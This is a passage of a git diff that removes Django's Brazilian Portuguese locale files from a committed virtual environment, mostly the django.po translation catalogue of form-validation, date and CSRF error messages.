%H:%M:%S.%f", # '2006-10-25 14:30:59.000200' - "%Y-%m-%d %H:%M", # '2006-10-25 14:30' - "%d/%m/%Y %H:%M:%S", # '25/10/2006 14:30:59' - "%d/%m/%Y %H:%M:%S.%f", # '25/10/2006 14:30:59.000200' - "%d/%m/%Y %H:%M", # '25/10/2006 14:30' - "%d/%m/%y %H:%M:%S", # '25/10/06 14:30:59' - "%d/%m/%y %H:%M:%S.%f", # '25/10/06 14:30:59.000200' - "%d/%m/%y %H:%M", # '25/10/06 14:30' -] -DECIMAL_SEPARATOR = "," -THOUSAND_SEPARATOR = "." -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/pt_BR/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/pt_BR/LC_MESSAGES/django.mo deleted file mode 100644 index 41fb5016..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/pt_BR/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/pt_BR/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/pt_BR/LC_MESSAGES/django.po deleted file mode 100644 index 11ee807b..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/pt_BR/LC_MESSAGES/django.po +++ /dev/null @@ -1,1403 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Allisson Azevedo , 2014 -# Amanda Savluchinske , 2019 -# amcorreia , 2018 -# andrewsmedina , 2014-2015 -# Arthur Silva , 2017 -# bruno.devpod , 2014 -# Camilo B. Moreira , 2017 -# Carlos Cadu “Cadu” Leite , 2020 -# Carlos Cadu “Cadu” Leite , 2016,2019 -# Filipe Cifali , 2016 -# Claudio Rogerio Carvalho Filho , 2020 -# dudanogueira , 2012 -# dudanogueira , 2019 -# Eduardo Felipe Castegnaro , 2024 -# Elyézer Rezende , 2013 -# Fábio C. Barrionuevo da Luz , 2014-2015 -# Felipe Rodrigues , 2016 -# Filipe Cifali , 2019 -# Gladson , 2013 -# fa9e10542e458baef0599ae856e43651_13d2225, 2011-2014 -# Guilherme , 2022 -# Heron Fonsaca, 2022 -# Hugo Tácito , 2024 -# Igor Cavalcante , 2017 -# Jannis Leidel , 2011 -# Jonas Rodrigues, 2023 -# Leonardo Gregianin, 2023 -# Lucas Infante , 2015 -# Luiz Boaretto , 2017 -# Marssal Jr. , 2022 -# Marcelo Moro Brondani , 2018 -# Mariusz Felisiak , 2021 -# Rafael Fontenelle , 2021-2022 -# Samuel Nogueira Bacelar , 2020 -# Sandro , 2011 -# Sergio Garcia , 2015 -# Tânia Andrea , 2017 -# Wiliam Souza , 2015 -# Francisco Petry Rauber , 2018 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2024-05-22 11:46-0300\n" -"PO-Revision-Date: 2024-08-07 06:49+0000\n" -"Last-Translator: Eduardo Felipe Castegnaro , 2024\n" -"Language-Team: Portuguese (Brazil) (http://app.transifex.com/django/django/" -"language/pt_BR/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: pt_BR\n" -"Plural-Forms: nplurals=2; plural=(n > 1);\n" - -msgid "Afrikaans" -msgstr "Africânder" - -msgid "Arabic" -msgstr "Árabe" - -msgid "Algerian Arabic" -msgstr "Árabe Argelino" - -msgid "Asturian" -msgstr "Asturiano" - -msgid "Azerbaijani" -msgstr "Azerbaijão" - -msgid "Bulgarian" -msgstr "Búlgaro" - -msgid "Belarusian" -msgstr "Bielorrussa" - -msgid "Bengali" -msgstr "Bengali" - -msgid "Breton" -msgstr "Bretão" - -msgid "Bosnian" -msgstr "Bósnio" - -msgid "Catalan" -msgstr "Catalão" - -msgid "Central Kurdish (Sorani)" -msgstr "Curdo Central (Sorâni)" - -msgid "Czech" -msgstr "Tcheco" - -msgid "Welsh" -msgstr "Galês" - -msgid "Danish" -msgstr "Dinamarquês" - -msgid "German" -msgstr "Alemão" - -msgid "Lower Sorbian" -msgstr "Sorábio Baixo" - -msgid "Greek" -msgstr "Grego" - -msgid "English" -msgstr "Inglês" - -msgid "Australian English" -msgstr "Inglês Australiano" - -msgid "British English" -msgstr "Inglês Britânico" - -msgid "Esperanto" -msgstr "Esperanto" - -msgid "Spanish" -msgstr "Espanhol" - -msgid "Argentinian Spanish" -msgstr "Espanhol Argentino" - -msgid "Colombian Spanish" -msgstr "Espanhol Colombiano" - -msgid "Mexican Spanish" -msgstr "Espanhol Mexicano" - -msgid "Nicaraguan Spanish" -msgstr "Espanhol Nicaraguense" - -msgid "Venezuelan Spanish" -msgstr "Espanhol Venuzuelano" - -msgid "Estonian" -msgstr "Estoniano" - -msgid "Basque" -msgstr "Basco" - -msgid "Persian" -msgstr "Persa" - -msgid "Finnish" -msgstr "Finlandês" - -msgid "French" -msgstr "Francês" - -msgid "Frisian" -msgstr "Frísia" - -msgid "Irish" -msgstr "Irlandês" - -msgid "Scottish Gaelic" -msgstr "Gaélico Escocês" - -msgid "Galician" -msgstr "Galiciano" - -msgid "Hebrew" -msgstr "Hebraico" - -msgid "Hindi" -msgstr "Hindi" - -msgid "Croatian" -msgstr "Croata" - -msgid "Upper Sorbian" -msgstr "Sorábio Alto" - -msgid "Hungarian" -msgstr "Húngaro" - -msgid "Armenian" -msgstr "Armênio" - -msgid "Interlingua" -msgstr "Interlíngua" - -msgid "Indonesian" -msgstr "Indonésio" - -msgid "Igbo" -msgstr "Igbo" - -msgid "Ido" -msgstr "Ido" - -msgid "Icelandic" -msgstr "Islandês" - -msgid "Italian" -msgstr "Italiano" - -msgid "Japanese" -msgstr "Japonês" - -msgid "Georgian" -msgstr "Georgiano" - -msgid "Kabyle" -msgstr "Cabila" - -msgid "Kazakh" -msgstr "Cazaque" - -msgid "Khmer" -msgstr "Khmer" - -msgid "Kannada" -msgstr "Canarês" - -msgid "Korean" -msgstr "Coreano" - -msgid "Kyrgyz" -msgstr "Quirguiz" - -msgid "Luxembourgish" -msgstr "Luxemburguês" - -msgid "Lithuanian" -msgstr "Lituano" - -msgid "Latvian" -msgstr "Letão" - -msgid "Macedonian" -msgstr "Macedônio" - -msgid "Malayalam" -msgstr "Malaiala" - -msgid "Mongolian" -msgstr "Mongol" - -msgid "Marathi" -msgstr "Marathi" - -msgid "Malay" -msgstr "Malaia" - -msgid "Burmese" -msgstr "Birmanês" - -msgid "Norwegian Bokmål" -msgstr "Dano-norueguês" - -msgid "Nepali" -msgstr "Nepalês" - -msgid "Dutch" -msgstr "Neerlandês" - -msgid "Norwegian Nynorsk" -msgstr "Novo Norueguês" - -msgid "Ossetic" -msgstr "Osseto" - -msgid "Punjabi" -msgstr "Punjabi" - -msgid "Polish" -msgstr "Polonês" - -msgid "Portuguese" -msgstr "Português" - -msgid "Brazilian Portuguese" -msgstr "Português Brasileiro" - -msgid "Romanian" -msgstr "Romeno" - -msgid "Russian" -msgstr "Russo" - -msgid "Slovak" -msgstr "Eslovaco" - -msgid "Slovenian" -msgstr "Esloveno" - -msgid "Albanian" -msgstr "Albanesa" - -msgid "Serbian" -msgstr "Sérvio" - -msgid "Serbian Latin" -msgstr "Sérvio Latino" - -msgid "Swedish" -msgstr "Sueco" - -msgid "Swahili" -msgstr "Suaíli" - -msgid "Tamil" -msgstr "Tâmil" - -msgid "Telugu" -msgstr "Telugu" - -msgid "Tajik" -msgstr "Tadjique" - -msgid "Thai" -msgstr "Tailandês" - -msgid "Turkmen" -msgstr "Turcomano" - -msgid "Turkish" -msgstr "Turco" - -msgid "Tatar" -msgstr "Tatar" - -msgid "Udmurt" -msgstr "Udmurt" - -msgid "Uyghur" -msgstr "Uigur" - -msgid "Ukrainian" -msgstr "Ucraniano" - -msgid "Urdu" -msgstr "Urdu" - -msgid "Uzbek" -msgstr "Uzbeque" - -msgid "Vietnamese" -msgstr "Vietnamita" - -msgid "Simplified Chinese" -msgstr "Chinês Simplificado" - -msgid "Traditional Chinese" -msgstr "Chinês Tradicional" - -msgid "Messages" -msgstr "Mensagens" - -msgid "Site Maps" -msgstr "Site Maps" - -msgid "Static Files" -msgstr "Arquivos Estáticos" - -msgid "Syndication" -msgstr "Syndication" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "…" - -msgid "That page number is not an integer" -msgstr "Esse número de página não é um número inteiro" - -msgid "That page number is less than 1" -msgstr "Esse número de página é menor que 1" - -msgid "That page contains no results" -msgstr "Essa página não contém resultados" - -msgid "Enter a valid value." -msgstr "Informe um valor válido." - -msgid "Enter a valid domain name." -msgstr "Informe um domínio válido." - -msgid "Enter a valid URL." -msgstr "Informe uma URL válida." - -msgid "Enter a valid integer." -msgstr "Insira um número inteiro válido." - -msgid "Enter a valid email address." -msgstr "Informe um endereço de email válido." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" -"Informe um “slug” válido tendo letras, números, \"underscores\" e hífens." - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" -"Informe um “slug” válido tendo letras em Unicode, números, \"underscores\" e " -"hífens." - -#, python-format -msgid "Enter a valid %(protocol)s address." -msgstr "Insira um endereço %(protocol)s válido." - -msgid "IPv4" -msgstr "IPv4" - -msgid "IPv6" -msgstr "IPv6" - -msgid "IPv4 or IPv6" -msgstr "IPv4 ou IPv6" - -msgid "Enter only digits separated by commas." -msgstr "Insira apenas dígitos separados por vírgulas." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "Certifique-se de que o valor é %(limit_value)s (ele é %(show_value)s)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "Certifique-se que este valor seja menor ou igual a %(limit_value)s." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "Certifique-se que este valor seja maior ou igual a %(limit_value)s." - -#, python-format -msgid "Ensure this value is a multiple of step size %(limit_value)s." -msgstr "" -"Certifique-se que este valor seja múltiplo do tamanho do passo " -"%(limit_value)s." - -#, python-format -msgid "" -"Ensure this value is a multiple of step size %(limit_value)s, starting from " -"%(offset)s, e.g. %(offset)s, %(valid_value1)s, %(valid_value2)s, and so on." -msgstr "" -"Certifique-se que este valor seja múltiplo do tamanho do passo " -"%(limit_value)s, começando por %(offset)s, por exemplo %(offset)s, " -"%(valid_value1)s, %(valid_value2)s, e assim por diante." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Certifique-se de que o valor tenha no mínimo %(limit_value)d caractere (ele " -"possui %(show_value)d)." -msgstr[1] "" -"Certifique-se de que o valor tenha no mínimo %(limit_value)d caracteres (ele " -"possui %(show_value)d)." -msgstr[2] "" -"Certifique-se de que o valor tenha no mínimo %(limit_value)d caracteres (ele " -"possui %(show_value)d)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Certifique-se de que o valor tenha no máximo %(limit_value)d caractere (ele " -"possui %(show_value)d)." -msgstr[1] "" -"Certifique-se de que o valor tenha no máximo %(limit_value)d caracteres (ele " -"possui %(show_value)d)." -msgstr[2] "" -"Certifique-se de que o valor tenha no máximo %(limit_value)d caracteres (ele " -"possui %(show_value)d)." - -msgid "Enter a number." -msgstr "Informe um número." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "Certifique-se de que não tenha mais de %(max)s dígito no total." -msgstr[1] "Certifique-se de que não tenha mais de %(max)s dígitos no total." -msgstr[2] "Certifique-se de que não tenha mais de %(max)s dígitos no total." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "Certifique-se de que não tenha mais de %(max)s casa decimal." -msgstr[1] "Certifique-se de que não tenha mais de %(max)s casas decimais." -msgstr[2] "Certifique-se de que não tenha mais de %(max)s casas decimais." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -"Certifique-se de que não tenha mais de %(max)s dígito antes do ponto decimal." -msgstr[1] "" -"Certifique-se de que não tenha mais de %(max)s dígitos antes do ponto " -"decimal." -msgstr[2] "" -"Certifique-se de que não tenha mais de %(max)s dígitos antes do ponto " -"decimal." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" -"A extensão de arquivo “%(extension)s” não é permitida. As extensões válidas " -"são: %(allowed_extensions)s ." - -msgid "Null characters are not allowed." -msgstr "Caracteres nulos não são permitidos." - -msgid "and" -msgstr "e" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "%(model_name)s com este %(field_labels)s já existe." - -#, python-format -msgid "Constraint “%(name)s” is violated." -msgstr "Restrição \"%(name)s\" foi violada." - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "Valor %(value)r não é uma opção válida." - -msgid "This field cannot be null." -msgstr "Este campo não pode ser nulo." - -msgid "This field cannot be blank." -msgstr "Este campo não pode estar vazio." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(model_name)s com este %(field_label)s já existe." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or -#. 'month'. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"%(field_label)s deve ser único para %(date_field_label)s %(lookup_type)s." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Campo do tipo: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "o valor “%(value)s” deve ser True ou False." - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "o valor “%(value)s” deve ser True, False ou None." - -msgid "Boolean (Either True or False)" -msgstr "Booleano (Verdadeiro ou Falso)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "String (até %(max_length)s)" - -msgid "String (unlimited)" -msgstr "String (ilimitado)" - -msgid "Comma-separated integers" -msgstr "Inteiros separados por vírgula" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" -"O valor \"%(value)s\" tem um formato de data inválido. Deve ser no formato " -"YYYY-MM-DD." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" -"O valor “%(value)s” tem o formato correto (YYYY-MM-DD) mas uma data inválida." - -msgid "Date (without time)" -msgstr "Data (sem hora)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" -"O valor “%(value)s” tem um formato inválido. Deve estar no formato YYYY-MM-" -"DD HH:MM[:ss[.uuuuuu]][TZ]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" -"O valor “%(value)s” está no formato correto. (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) mas é uma data/hora inválida" - -msgid "Date (with time)" -msgstr "Data (com hora)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "O valor “%(value)s” deve ser um número decimal." - -msgid "Decimal number" -msgstr "Número decimal" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" -"O valor “%(value)s” está em um formato inválido. Deve ser no formato [DD] " -"[[HH:]MM:]ss[.uuuuuu]." - -msgid "Duration" -msgstr "Duração" - -msgid "Email address" -msgstr "Endereço de e-mail" - -msgid "File path" -msgstr "Caminho do arquivo" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "O valor “%(value)s” deve ser um float." - -msgid "Floating point number" -msgstr "Número de ponto flutuante" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "O valor “%(value)s” deve ser inteiro." - -msgid "Integer" -msgstr "Inteiro" - -msgid "Big (8 byte) integer" -msgstr "Inteiro grande (8 byte)" - -msgid "Small integer" -msgstr "Inteiro curto" - -msgid "IPv4 address" -msgstr "Endereço IPv4" - -msgid "IP address" -msgstr "Endereço IP" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "O valor “%(value)s” deve ser None, True ou False." - -msgid "Boolean (Either True, False or None)" -msgstr "Booleano (Verdadeiro, Falso ou Nada)" - -msgid "Positive big integer" -msgstr "Inteiro grande positivo" - -msgid "Positive integer" -msgstr "Inteiro positivo" - -msgid "Positive small integer" -msgstr "Inteiro curto positivo" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Slug (até %(max_length)s)" - -msgid "Text" -msgstr "Texto" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" -"O valor “%(value)s” tem um formato inválido. Deve estar no formato HH:MM[:" -"ss[.uuuuuu]]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" -"O valor “%(value)s” está no formato correto (HH:MM[:ss[.uuuuuu]]) mas é uma " -"hora inválida." - -msgid "Time" -msgstr "Hora" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "Dados binários bruto" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "O valor “%(value)s” não é um UUID válido" - -msgid "Universally unique identifier" -msgstr "Identificador único universal" - -msgid "File" -msgstr "Arquivo" - -msgid "Image" -msgstr "Imagem" - -msgid "A JSON object" -msgstr "Um objeto JSON" - -msgid "Value must be valid JSON." -msgstr "O valor deve ser um JSON válido." - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "A instância de %(model)s com %(field)s %(value)r não existe." - -msgid "Foreign Key (type determined by related field)" -msgstr "Chave Estrangeira (tipo determinado pelo campo relacionado)" - -msgid "One-to-one relationship" -msgstr "Relacionamento um-para-um" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "Relacionamento %(from)s-%(to)s" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "Relacionamentos %(from)s-%(to)s" - -msgid "Many-to-many relationship" -msgstr "Relacionamento muitos-para-muitos" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "Este campo é obrigatório." - -msgid "Enter a whole number." -msgstr "Informe um número inteiro." - -msgid "Enter a valid date." -msgstr "Informe uma data válida." - -msgid "Enter a valid time." -msgstr "Informe uma hora válida." - -msgid "Enter a valid date/time." -msgstr "Informe uma data/hora válida." - -msgid "Enter a valid duration." -msgstr "Insira uma duração válida." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "O número de dias deve ser entre {min_days} e {max_days}." - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "Nenhum arquivo enviado. Verifique o tipo de codificação do formulário." - -msgid "No file was submitted." -msgstr "Nenhum arquivo foi enviado." - -msgid "The submitted file is empty." -msgstr "O arquivo enviado está vazio." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"Certifique-se de que o arquivo tenha no máximo %(max)d caractere (ele possui " -"%(length)d)." -msgstr[1] "" -"Certifique-se de que o arquivo tenha no máximo %(max)d caracteres (ele " -"possui %(length)d)." -msgstr[2] "" -"Certifique-se de que o arquivo tenha no máximo %(max)d caracteres (ele " -"possui %(length)d)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "Por favor, envie um arquivo ou marque o checkbox, mas não ambos." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Envie uma imagem válida. O arquivo enviado não é uma imagem ou está " -"corrompido." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "Faça uma escolha válida. %(value)s não é uma das escolhas disponíveis." - -msgid "Enter a list of values." -msgstr "Informe uma lista de valores." - -msgid "Enter a complete value." -msgstr "Insira um valor completo." - -msgid "Enter a valid UUID." -msgstr "Insira um UUID válido." - -msgid "Enter a valid JSON." -msgstr "Insira um JSON válido" - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(Campo oculto %(name)s) %(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" -"Dados de ManagementForm estão faltando ou foram adulterados. Campos " -"ausentes: %(field_names)s. Você pode precisar enviar um relatório de bug se " -"o problema persistir." - -#, python-format -msgid "Please submit at most %(num)d form." -msgid_plural "Please submit at most %(num)d forms." -msgstr[0] "Por favor, envie no máximo %(num)d formulário." -msgstr[1] "Por favor, envie no máximo %(num)d formulários." -msgstr[2] "Por favor, envie no máximo %(num)d formulários." - -#, python-format -msgid "Please submit at least %(num)d form." -msgid_plural "Please submit at least %(num)d forms." -msgstr[0] "Por favor, envie ao menos %(num)d formulário." -msgstr[1] "Por favor, envie ao menos %(num)d formulários." -msgstr[2] "Por favor, envie ao menos %(num)d formulários." - -msgid "Order" -msgstr "Ordem" - -msgid "Delete" -msgstr "Remover" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Por favor, corrija o valor duplicado para %(field)s." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" -"Por favor, corrija o valor duplicado para %(field)s, o qual deve ser único." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Por favor, corrija o dado duplicado para %(field_name)s, o qual deve ser " -"único para %(lookup)s em %(date_field)s." - -msgid "Please correct the duplicate values below." -msgstr "Por favor, corrija os valores duplicados abaixo." - -msgid "The inline value did not match the parent instance." -msgstr "O valor na linha não correspondeu com a instância pai." - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "Faça uma escolha válida. Sua escolha não é uma das disponíveis." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "“%(pk)s” não é um valor válido." - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" -"%(datetime)s não pode ser interpretada dentro da fuso horário " -"%(current_timezone)s; está ambíguo ou não existe." - -msgid "Clear" -msgstr "Limpar" - -msgid "Currently" -msgstr "Atualmente" - -msgid "Change" -msgstr "Modificar" - -msgid "Unknown" -msgstr "Desconhecido" - -msgid "Yes" -msgstr "Sim" - -msgid "No" -msgstr "Não" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "sim,não,talvez" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d byte" -msgstr[1] "%(size)d bytes" -msgstr[2] "%(size)d bytes" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "p.m." - -msgid "a.m." -msgstr "a.m." - -msgid "PM" -msgstr "PM" - -msgid "AM" -msgstr "AM" - -msgid "midnight" -msgstr "meia-noite" - -msgid "noon" -msgstr "meio-dia" - -msgid "Monday" -msgstr "Segunda-feira" - -msgid "Tuesday" -msgstr "Terça-feira" - -msgid "Wednesday" -msgstr "Quarta-feira" - -msgid "Thursday" -msgstr "Quinta-feira" - -msgid "Friday" -msgstr "Sexta-feira" - -msgid "Saturday" -msgstr "Sábado" - -msgid "Sunday" -msgstr "Domingo" - -msgid "Mon" -msgstr "Seg" - -msgid "Tue" -msgstr "Ter" - -msgid "Wed" -msgstr "Qua" - -msgid "Thu" -msgstr "Qui" - -msgid "Fri" -msgstr "Sex" - -msgid "Sat" -msgstr "Sab" - -msgid "Sun" -msgstr "Dom" - -msgid "January" -msgstr "Janeiro" - -msgid "February" -msgstr "Fevereiro" - -msgid "March" -msgstr "Março" - -msgid "April" -msgstr "Abril" - -msgid "May" -msgstr "Maio" - -msgid "June" -msgstr "Junho" - -msgid "July" -msgstr "Julho" - -msgid "August" -msgstr "Agosto" - -msgid "September" -msgstr "Setembro" - -msgid "October" -msgstr "Outubro" - -msgid "November" -msgstr "Novembro" - -msgid "December" -msgstr "Dezembro" - -msgid "jan" -msgstr "jan" - -msgid "feb" -msgstr "fev" - -msgid "mar" -msgstr "mar" - -msgid "apr" -msgstr "abr" - -msgid "may" -msgstr "mai" - -msgid "jun" -msgstr "jun" - -msgid "jul" -msgstr "jul" - -msgid "aug" -msgstr "ago" - -msgid "sep" -msgstr "set" - -msgid "oct" -msgstr "out" - -msgid "nov" -msgstr "nov" - -msgid "dec" -msgstr "dez" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "Jan." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "Fev." - -msgctxt "abbrev. month" -msgid "March" -msgstr "Março" - -msgctxt "abbrev. month" -msgid "April" -msgstr "Abril" - -msgctxt "abbrev. month" -msgid "May" -msgstr "Maio" - -msgctxt "abbrev. month" -msgid "June" -msgstr "Junho" - -msgctxt "abbrev. month" -msgid "July" -msgstr "Julho" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "Ago." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "Set." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "Out." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "Nov." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "Dez." - -msgctxt "alt. month" -msgid "January" -msgstr "Janeiro" - -msgctxt "alt. month" -msgid "February" -msgstr "Fevereiro" - -msgctxt "alt. month" -msgid "March" -msgstr "Março" - -msgctxt "alt. month" -msgid "April" -msgstr "Abril" - -msgctxt "alt. month" -msgid "May" -msgstr "Maio" - -msgctxt "alt. month" -msgid "June" -msgstr "Junho" - -msgctxt "alt. month" -msgid "July" -msgstr "Julho" - -msgctxt "alt. month" -msgid "August" -msgstr "Agosto" - -msgctxt "alt. month" -msgid "September" -msgstr "Setembro" - -msgctxt "alt. month" -msgid "October" -msgstr "Outubro" - -msgctxt "alt. month" -msgid "November" -msgstr "Novembro" - -msgctxt "alt. month" -msgid "December" -msgstr "Dezembro" - -msgid "This is not a valid IPv6 address." -msgstr "Este não é um endereço IPv6 válido." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr " %(truncated_text)s…" - -msgid "or" -msgstr "ou" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "%(num)d ano" -msgstr[1] "%(num)d anos" -msgstr[2] "%(num)d anos" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "%(num)d mês" -msgstr[1] "%(num)d meses" -msgstr[2] "%(num)d meses" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "%(num)d semana" -msgstr[1] "%(num)d semanas" -msgstr[2] "%(num)d semanas" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "%(num)d dia" -msgstr[1] "%(num)d dias" -msgstr[2] "%(num)d dias" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "%(num)d hora" -msgstr[1] "%(num)d horas" -msgstr[2] "%(num)d horas" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "%(num)d minuto" -msgstr[1] "%(num)d minutos" -msgstr[2] "%(num)d minutos" - -msgid "Forbidden" -msgstr "Proibido" - -msgid "CSRF verification failed. Request aborted." -msgstr "Verificação CSRF falhou. Pedido cancelado." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" -"Você está vendo esta mensagem porque este site HTTPS requer que um " -"“cabeçalho Refer” seja enviado pelo seu navegador da web, mas nenhum foi " -"enviado. Este cabeçalho é necessário por motivos de segurança, para garantir " -"que seu navegador não seja invadido por terceiros." - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" -"Se você configurou seu browser para desabilitar os cabeçalhos “Referer”, por " -"favor reabilite-os, ao menos para este site, ou para conexões HTTPS, ou para " -"requisições “same-origin”." - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" -"Se estiver usando a tag ou " -"incluindo o cabeçalho “Referrer-Policy: no-referrer”, por favor remova-os. A " -"proteção CSRF requer o cabeçalho “Referer” para fazer a checagem de " -"referência. 